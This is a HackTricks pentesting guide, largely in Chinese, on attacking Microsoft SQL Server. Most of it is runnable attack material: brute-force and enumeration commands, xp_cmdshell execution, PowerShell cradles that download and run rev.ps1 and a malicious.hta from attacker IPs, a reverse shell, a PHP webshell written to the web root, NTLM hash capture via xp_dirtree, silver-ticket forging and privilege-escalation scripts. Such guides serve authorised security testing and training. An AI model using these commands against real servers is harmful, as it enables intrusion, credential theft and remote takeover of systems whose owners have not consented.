1433 - Pentesting MSSQL - Microsoft SQL Server
Tip
学习并实践 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并实践 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并实践 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
浏览用于评估路线的 完整 HackTricks Training 目录(ARTA/GRTA/AzRTA)以及 Linux Hacking Expert (LHE)。
支持 HackTricks
- 查看 订阅方案!
- 加入 💬 Discord 群组、telegram 群组,关注 X/Twitter 上的 @hacktricks_live,或查看 LinkedIn 页面 和 YouTube 频道。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR,分享 hacking 技巧。
基本信息
来自 wikipedia:
Microsoft SQL Server 是由 Microsoft 开发的 relational database 管理系统。作为一个 database server,它是一个软件产品,其主要功能是按其他软件应用程序的请求存储和检索数据——这些应用程序可以运行在同一台 computer 上,也可以通过 network(包括 Internet)运行在另一台 computer 上。
Default port: 1433
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
落到一个 Managed Database-as-a-Service (DBaaS)
所有依赖于“拥有主机”的内容(例如 privilege escalation、lateral movement 和 OS command execution)在 DBaaS 中都不再存在。在这些环境中的 pentesting 必须转向 application-layer exploitation、通过 SQL logic 的 data exfiltration、错误配置的 IAM roles,或者糟糕的 network/VPC 设计。例如,Amazon RDS documentation 明确说明 xp_cmdshell 和 TRUSTWORTHY database property 不受支持。
Warning
你拿到的是一个 database endpoint,不是一个 server。cloud provider 会管理 host OS、database engine binaries,以及许多 security policies。
Default MS-SQL System Tables
- master Database: 这个数据库至关重要,因为它会捕获 SQL Server instance 的所有 system-level 细节。
- msdb Database: SQL Server Agent 使用这个数据库来管理 alerts 和 jobs 的 scheduling。
- model Database: 作为 SQL Server instance 上每个新 database 的 blueprint,任何更改,比如 size、collation、recovery model 等,都会反映到新创建的 databases 中。
- Resource Database: 一个只读 database,存放随 SQL Server 提供的 system objects。这些 objects 虽然物理上存储在 Resource database 中,但逻辑上会呈现在每个 database 的 sys schema 中。
- tempdb Database: 作为 transient objects 或 intermediate result sets 的临时存储区域。
Enumeration
Automatic Enumeration
如果你对这个 service 一无所知:
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
Tip
如果你没有 凭据,你可以尝试猜测它们。你可以使用 nmap 或 metasploit。要小心,如果你使用现有用户名多次登录失败,可能会锁定账户。
Metasploit (need creds)
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder
#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump
#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf
#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
Brute force
通过 RID Brute Force 进行 User Enumeration
你可以通过 brute-forcing RIDs(Relative Identifiers)来枚举域用户。这个 technique 在你拥有有效 credentials 但 privileges 有限时很有用:
# Using NetExec (nxc) - formerly CrackMapExec
nxc mssql <IP> --local-auth -u <username> -p '<password>' --rid-brute 5000
# Examples:
nxc mssql 10.129.234.50 --local-auth -u sqlguest -p 'zDPBpaF4FywlqIv11vii' --rid-brute 5000
nxc mssql 10.10.10.59 -u sa -p 'P@ssw0rd' --rid-brute 10000
# Without --local-auth for domain accounts
nxc mssql 10.10.10.59 -u DOMAIN\\user -p 'password' --rid-brute 5000
Pentesting MSSQL Microsoft SQL Server
MSSQL(Microsoft SQL Server)是 Microsoft 的关系型数据库管理系统(RDBMS)。它提供基于服务器的数据库服务,支持各种应用程序中的数据存储、检索和管理。
MSSQL 常用于企业环境,并且经常成为 pentesting 的目标,因为它可能存储敏感信息,或者因为它可能配置错误并向攻击者暴露。
连接到 MSSQL
要连接到 MSSQL,你可以使用诸如 sqlcmd、osql、SQLEnterpriseManager、impacket 或 mssqlclient.py 等工具。
sqlcmd -S 10.10.10.10 -U sa -P 'Password123'
执行命令
如果你拥有适当的权限,你可以通过 xp_cmdshell 执行系统命令:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
常见枚举
你可以枚举以下内容:
- 数据库名称
- 用户和角色
- 权限
- Linkd servers
- 配置设置
- 已安装的扩展存储过程
提权
如果 xp_cmdshell 被禁用,你可能可以通过其他方式启用它,或者使用其他功能如 OLE Automation Procedures、CLR,或者 SQL Agent Jobs 来执行命令。
凭据提取
MSSQL 可能会以明文、哈希或通过链接服务器暴露凭据。请检查:
- 备份文件
- 配置文件
- SQL Server Agent 作业
- 已保存的连接
- 服务器间的信任关系
防御措施
- 使用强密码
- 限制高权限账户
- 禁用不必要的功能
- 及时打补丁
- 监控可疑的数据库活动
[snippet]
MSSQL 10.129.234.50 1433 DC 1104: REDELEGATE\Christine.Flanders
MSSQL 10.129.234.50 1433 DC 1105: REDELEGATE\Marie.Curie
MSSQL 10.129.234.50 1433 DC 1106: REDELEGATE\Helen.Frost
MSSQL 10.129.234.50 1433 DC 1107: REDELEGATE\Michael.Pontiac
MSSQL 10.129.234.50 1433 DC 1108: REDELEGATE\Mallory.Roberts
MSSQL 10.129.234.50 1433 DC 1109: REDELEGATE\James.Dinkleberg
[snippet]
Parameters:
--local-auth: 使用本地认证而不是域认证--rid-brute <max_rid>: 暴力破解 RIDs,直到指定数字(默认: 4000)-u: 用户名-p: 密码
This technique will enumerate users by querying the MSSQL server for account information associated with sequential RIDs.
Manual Enumeration
Login
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
常见枚举
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master
#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
#Enumerate links
enum_links
#Use a link
use_link [NAME]
获取 User
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;
## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
获取权限
- Securable: 定义为由 SQL Server 管理用于访问控制的资源。这些资源可分为:
- Server – 例如 databases、logins、endpoints、availability groups 和 server roles。
- Database – 例如 database role、application roles、schema、certificates、full text catalogs 和 users。
- Schema – 包括 tables、views、procedures、functions、synonyms 等。
- Permission: 与 SQL Server securables 相关,像 ALTER、CONTROL 和 CREATE 这类 permissions 可以授予给一个 principal。权限管理发生在两个层级:
- Server Level 使用 logins
- Database Level 使用 users
- Principal: 这个术语指被授予对某个 securable 权限的实体。Principals 主要包括 logins 和 database users。对 securables 的访问控制,是通过授予或拒绝 permissions,或者将 logins 和 users 加入具备访问权限的 roles 来实现的。
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'
Tricks
Execute OS Commands
Caution
请注意,为了能够执行命令,不仅需要启用
xp_cmdshell,还需要在xp_cmdshell存储过程上拥有 EXECUTE permission。你可以使用以下命令获取除 sysadmins 之外谁可以使用xp_cmdshell:Use master EXEC sp_helprotect 'xp_cmdshell'
# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'
# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' —
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
基于 WMI 的远程 SQL 收集 (sqlcmd + CSV export)
Operators can pivot from an IIS/app tier to SQL Servers using WMI to execute a small batch that authenticates to MSSQL and runs ad‑hoc queries, exporting results to CSV. This keeps collection simple and blends with admin activity.
Example mssq.bat
@echo off
rem Usage: mssq.bat <server> <user> <pass> <"SQL"> <out.csv>
set S=%1
set U=%2
set P=%3
set Q=%4
set O=%5
rem Remove headers, trim trailing spaces, CSV separator = comma
sqlcmd -S %S% -U %U% -P %P% -Q "SET NOCOUNT ON; %Q%" -W -h -1 -s "," -o "%O%"
使用 WMI 远程调用它
wmic /node:SQLHOST /user:DOMAIN\user /password:Passw0rd! process call create "cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd \"SELECT TOP(100) name FROM sys.tables\" C:\\Windows\\Temp\\out.csv"
PowerShell 替代方案
$cmd = 'cmd.exe /c C:\\Windows\\Temp\\mssq.bat 10.0.0.5 sa P@ssw0rd "SELECT name FROM sys.databases" C:\\Windows\\Temp\\dbs.csv'
Invoke-WmiMethod -ComputerName SQLHOST -Class Win32_Process -Name Create -ArgumentList $cmd
Notes
- sqlcmd 可能缺失;可回退到 osql、PowerShell Invoke-Sqlcmd,或使用一个通过 System.Data.SqlClient 的 one‑liner。
- 谨慎使用引号;长/复杂查询更适合通过文件提供,或使用在 batch/PowerShell stub 内解码的 Base64 编码参数。
- 通过 SMB 外传 CSV(例如,从 \SQLHOST\C$\Windows\Temp 复制),或先压缩再通过你的 C2 传输。
获取 hashed passwords
SELECT * FROM master.sys.syslogins;
Steal NetNTLM hash / Relay attack
你应该先启动一个 SMB server 来捕获在认证中使用的 hash(例如 impacket-smbserver 或 responder)。
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'
# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
Warning
你可以通过以下方式检查谁(除了 sysadmins)有权限运行这些 MSSQL functions:
Use master; EXEC sp_helprotect 'xp_dirtree'; EXEC sp_helprotect 'xp_subdirs'; EXEC sp_helprotect 'xp_fileexist';
使用 responder 或 Inveigh 等工具,可以窃取 NetNTLM hash。
你可以在这里查看如何使用这些工具:
Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
From NetNTLMv2 capture to MSSQL silver ticket (PAC group injection)
- 通过
xp_dirtree '\\\\<attacker_ip>\\share'配合 Responder 捕获 SQL Server service account 的 NetNTLMv2(使用 Hashcat mode 5600 破解)。 - 从恢复出的密码派生 service NTLM hash:
python3 - <<'PY'
import hashlib
print(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).hexdigest())
PY
- 使用
SELECT SUSER_SID('DOMAIN\\Domain Users');获取 domain SID 字节(RID = 最后 4 字节,little endian)。使用nxc mssql ... --rid-brute映射/爆破 RIDs,以找到授予 sysadmin 的 group(例如,RID1105)。 - 为 MSSQL SPN 伪造一个 silver ticket,并在 PAC 中注入特权 group RID:
ticketer.py -nthash <SERVICE_NTLM> -domain-sid <DOMAIN_SID> -domain <DOMAIN> -spn MSSQLSvc/<fqdn>:1433 -groups <GROUP_RID> <user_to_impersonate>
KRB5CCNAME=<user_to_impersonate>.ccache mssqlclient.py -no-pass -k <fqdn>
- 如有需要,启用
xp_cmdshell; 即使通过 forged ticket 进行 impersonation,命令也会以 SQL Server service account 身份运行。
滥用 MSSQL trusted Links
阅读这篇文章 以了解更多关于如何滥用此 feature:
Linked-server credential mapping -> remote sysadmin -> OS RCE
Linked servers 可以配置为 non-self login mapping(Local Login -> Remote Login)。在这种情况下,第一个 SQL Server 上的低权限 login 可以在第二个 SQL Server 上 作为映射的 remote principal 执行查询。即使 linked instance 位于 另一个 domain 或 forest 中,工作方式也一样。
首先枚举这些 links 及其 mappings:
EXEC sp_linkedservers;
EXEC sp_helplinkedsrvlogin '<LINK_NAME>';
Then verify which account you become on the remote side and whether it is sysadmin:
EXEC ('SELECT SYSTEM_USER') AT [<LINK_NAME>];
EXEC ('SELECT IS_SRVROLEMEMBER(''sysadmin'')') AT [<LINK_NAME>];
如果映射的远程登录是 sysadmin,linked server 就会变成一个 remote code execution primitive,因为你可以重新配置远端实例,并以 SQL Server service account 身份运行 OS 命令:
EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [<LINK_NAME>];
EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [<LINK_NAME>];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [<LINK_NAME>];
使用 impacket-mssqlclient,同样的工作流程通常更快:
mssqlclient.py -windows-auth <DOMAIN>/<USER>:<PASSWORD>@<SQLHOST>
# Inside the SQL shell:
enum_links
use_link [<LINK_NAME>]
enable_xp_cmdshell
xp_cmdshell whoami
要将单条命令执行升级为交互式 shell,可通过 xp_cmdshell 启动一个 reverse shell:
xp_cmdshell powershell -e <BASE64_BLOB>
rlwrap -cAr nc -lnvp 443
Tip
如果
xp_cmdshell被禁用,初始错误通常会确认sp_configure/RECONFIGURE是预期的启用路径。也要查找导出的 policy 文件,例如Policy_Backup.inf(secedit /export的输出),因为它们可能暴露本地权限分配(SeImpersonatePrivilege、SeDebugPrivilege、Kerberos skew、SMB signing、NTLM hardening),这些信息有助于在你落地到 SQL 主机后选择下一步 privilege-escalation。
Write Files
要使用 MSSQL 写入文件,我们需要启用 Ole Automation Procedures,这需要 admin privileges,然后执行一些 stored procedures 来创建文件:
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
使用 OPENROWSET 读取文件
默认情况下,MSSQL 允许对操作系统中该账户有读权限的任意文件进行读取。我们可以使用以下 SQL 查询:
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
但是,BULK 选项需要 ADMINISTER BULK OPERATIONS 或 ADMINISTER DATABASE BULK OPERATIONS 权限。
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
基于错误的 SQLi 向量:
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
RCE/Read files executing scripts (Python and R)
MSSQL 可能允许你执行 Python 和/或 R 脚本。这些代码会由与使用 xp_cmdshell 执行命令的用户不同的用户来执行。
尝试执行 ‘R’ “Hellow World!” 的示例,未成功:
.png)
使用已配置的 python 执行多个操作的示例:
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
Read Registry
Microsoft SQL Server 提供了多个扩展存储过程,允许你不仅与网络交互,还可以与文件系统甚至 Windows Registry 交互**:**
| Regular | Instance-Aware |
|---|---|
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
| sys.xp_regwrite | sys.xp_instance_regwrite |
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
| sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
For more examples check out the original source.
使用 MSSQL User Defined Function 的 RCE - SQLHttp
可以在 MSSQL 中使用自定义函数来加载 .NET dll。不过,这需要 dbo 访问权限,所以你需要以数据库中的 sa 或 Administrator 角色建立连接。
Following this link to see an example.
使用 autoadmin_task_agents 的 RCE
According to this post, 也可以加载远程 dll 并让 MSSQL 执行它,类似这样:
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
With:
using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;
namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}
public override void DoWork()
{
}
public override void ExternalJob(string command, LogBaseService jobLogger)
{
}
public override void Start(IServicesFactory services)
{
}
public override void Stop()
{
}
public void Test()
{
}
}
}
其他的 RCE 方式
还有其他方法可以获得命令执行,例如添加 extended stored procedures、CLR Assemblies、SQL Server Agent Jobs 和 external scripts。
MSSQL 权限提升
从 db_owner 到 sysadmin
如果将 普通用户 的角色设置为 db_owner,且其对应的 数据库由管理员用户(例如 sa)拥有,并且该数据库被配置为 trustworthy,那么该用户可以滥用这些权限进行 privesc,因为其中创建的 stored procedures 可以作为所有者(admin)execute。
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
你可以使用一个 metasploit 模块:
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
或者一个 PS 脚本:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
模拟其他用户
SQL Server 有一个特殊权限,名为 IMPERSONATE,它允许执行用户采用另一个用户或 login 的权限,直到上下文被重置或会话结束。
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned
# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]
Tip
如果你可以冒充一个用户,即使他不是 sysadmin,你也应该检查该用户是否有权访问其他 databases 或 linked servers。
注意,一旦你成为 sysadmin,你就可以冒充任何其他用户:
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT
你可以使用一个 metasploit 模块执行此攻击:
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
或者使用 PS 脚本:
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
使用 MSSQL 进行 Persistence
https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
从 SQL Server Linked Servers 中提取 passwords
攻击者可以从 SQL Instances 中提取 SQL Server Linked Servers 的 passwords,并以明文获取,从而得到可用于进一步获得目标更大 foothold 的 passwords。用于提取并解密存储在 Linked Servers 中 passwords 的脚本可在此处找到
为了使该 exploit 生效,需要完成一些要求和配置。首先,你必须在机器上拥有 Administrator 权限,或者具备管理 SQL Server Configurations 的能力。
在验证权限后,你需要配置三项内容,如下所示:
- 在 SQL Server instances 上启用 TCP/IP;
- 添加一个 Start Up 参数,在此情况下会添加一个 trace flag,即 -T7806。
- 启用 remote admin connection。
为了自动化这些配置,这个 repository 提供了所需脚本。除了为每个配置步骤提供一个 powershell script 外,该 repository 还提供了一个完整 script,将配置 scripts 以及 passwords 的提取和解密组合在一起。
有关此 attack 的更多信息,请参考以下链接:Decrypting MSSQL Database Link Server Passwords
Troubleshooting the SQL Server Dedicated Administrator Connection
Local Privilege Escalation
运行 MSSQL server 的用户将启用 privilege token SeImpersonatePrivilege.
你很可能可以按照以下两个 paged 之一提权到 Administrator:
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
Shodan
port:1433 !HTTP
References
- Unit 42 – Phantom Taurus: WMI-driven direct SQL collection via batch/sqlcmd
- HTB: DarkZero - linked-server credential mapping to cross-forest RCE
- HTB: Signed - MSSQL coercion to silver ticket sysadmin
- Microsoft Learn - sp_helplinkedsrvlogin (Transact-SQL)
- https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users
- https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/
- https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/
- https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/
- https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/
- https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/
- https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/
- https://mayfly277.github.io/posts/GOADv2-pwning-part12/
- https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp
HackTricks Automatic Commands
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
Port_Number: 1433 #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G
###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go
2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go
3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
